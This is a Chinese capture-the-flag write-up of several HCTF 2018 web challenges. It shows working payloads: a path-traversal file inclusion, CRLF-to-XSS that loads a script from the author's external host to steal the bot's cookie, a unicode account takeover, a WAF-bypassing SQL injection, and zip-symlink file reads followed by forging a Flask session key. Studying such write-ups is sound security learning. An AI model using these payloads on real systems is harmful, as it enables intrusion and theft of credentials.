划了一波HCTF 2018 ,扶我起来我还能划,珍惜这个宝贵的和大家学习的过程。
得到Flag位置的提示:
flag not here, and flag in ffffllllaaaagggg
网页源码提示source.php,访问显示源码:
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这个就是phpMyAdmin-4-8-x-Authorited-CLI-to-RCE漏洞的代码,构造Payload如下:
http://warmup.2018.hctf.io/index.php?file=hint.php%253f/../../../../../../../../ffffllllaaaagggg
Flag为:hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
Not hard, I believe you are the lucky one!
hint1: */3 */10
hint2: bot use firefoxDriver
bottle 是一个轻量级的python web框架,题目和名字描述是一样的,采用的是bottle 框架,框架存在漏洞(CVE-2016-9964),HTTP头注入的问题。
path参数为注入点,输出点为响应中的Location,构造Xss的Poc
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io/user/%0a%0d%0a%0d<script>xss</script>
发送给admin,打cookie:
但是这里存在一个问题,响应是302跳转,我们注入的XssPayload作为实体不会被浏览器解析,根据hint2: bot use firefoxDriver,让Location跳转的地址的端口小于0即可,并且这里可以不用理会Content-Length的问题。
不是很清楚bot是否会补全基本的html标签,所以手动添加一对body,Poc如下
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:0/user%0a%0d%0a<body></body>%3cscript+src%3dhttp://www.rai4over.cn/bottle.js%3e%3c%2fscript%3e
参考p老板链接:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html
网页源码中找到源码链接:
https://github.com/woadsl1234/hctf_flask/
查看源码,得到一些信息
.vscode/settings.json(开发环境python2.7)
{
"python.pythonPath": "/usr/local/opt/python@2/bin/python2.7"
}
requirements.txt(安装库版本)
Flask==0.10.1
Werkzeug==0.10.4
Flask_Login==0.4.1
Twisted==10.2.0
Flask_SQLAlchemy==2.0
WTForms==2.2.1
Flask_Migrate==2.2.1
Flask_WTF==0.14.2
Pillow==5.3.0
pymysql==0.9.2
模板中看到当session['name'] == 'admin'时打印Flag。
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
关键代码:
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
def strlower(username):
username = nodeprep.prepare(username)
return username
login函数,使用form.username.data获取表单内容,这是一个unicode对象,Twisted的版本小于11,并且使用封装nodeprep.prepare的strlower()处理form.username.data存入session['name']。
change函数,再次使用strlower()处理unicode对象session['name']。
参考此篇文章可以完成低版本Twisted处理unicode堆在存在的幂等性攻击。(PS:Python版本大于等于2.5)
注册一个ᴬdmin账号,登陆ᴬdmin,调用一次strlower(),此时session['name']变成Admin的unicode对象。
修改账号密码,调用一次strlower(),变成admin,已经修改了admin的密码了。
重新登陆admin,看到flag。
扫描获取题目的源码
http://kzone.2018.hctf.io/www.zip
发现问题文件member.php,cookie中的login_data存在注入漏洞
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>
但是有个基于黑名单的软waf
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
没有其他的难点,这里同样要利用unicode绕过waf,满足unicode编码格式的字符在经过json_decode函数后会被解析。
比如传入\u006f后,会被解析成o。
<?php
$a = '{"test":"\u006f"}';
$a = json_decode($a);
var_dump($a);
# { ["test"]=> string(1) "o" }
延时test语句,绕过waf。
login_data={"admin_user":"rai4over'/**/\u006fr/**/\u0073leep(2)"}
最后盲注即可,渣代码脚本就不贴了。
注册用户,登陆后可以上传zip文件,利用zip软连接读取文件。
读取/proc/self/environ得到。
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5**3FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0
读取/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini得到。
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app
读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py得到源码。
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
可以发现源码中并没有flag的获取方式。
读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html得到index.html源码
<h1>Hello, {{ user }}. </h1>
{% if user == 'admin' %}
Your flag: <br>
{{ flag }}
发现当满足条件后就会打印输出flag,此时我们就需要获得admin的session。
flask的session是本地进行存储的,并且通过了SECRET_KEY进行加密的,得到秘钥就能伪造admin的session。
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
秘钥的生成是通过伪随机数进行生成,种子是通过uuid.getnode()获取的mac地址的十进制,是固定的,我们知道mac地址就能够预测SECRET_KEY。
读取/sys/class/net/eth0/address获取mac地址12:34:3e:14:7c:62,转化十进制20015589129314。
使用github上的脚本进行解密自己的flask的session,根据结果判断秘钥是否正确.
import random
import os
random.seed(int(20015589129314))
for x in range(1000):
SECRET_KEY = str(random.random() * 100)
cmd = '''python session_cookie_manager.py decode -c "eyJ1c2VybmFtZSI6InRlc3QifQ.Dsqibw.-00-g7bQXA32H9mmH4EmiZaLTyY" -s "{key}"'''.format(key=SECRET_KEY)
rs = os.popen(cmd).read()
if ('error' not in rs):
print(SECRET_KEY)
exit()
SECRET_KEY为11.935137566861131,加密得到admin的session。(注意使用unicode形式的变量)
python session_cookie_manager.py encode -s "11.935137566861131" -t "{u'username': u'admin'}"
#eyJ1c2VybmFtZSI6ImFkbWluIn0.DsqsHA.F25iczn54vupT0JUQzSKtYbuNw0
成功登录等到flag:
本文作者:Rai4over
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/81989.html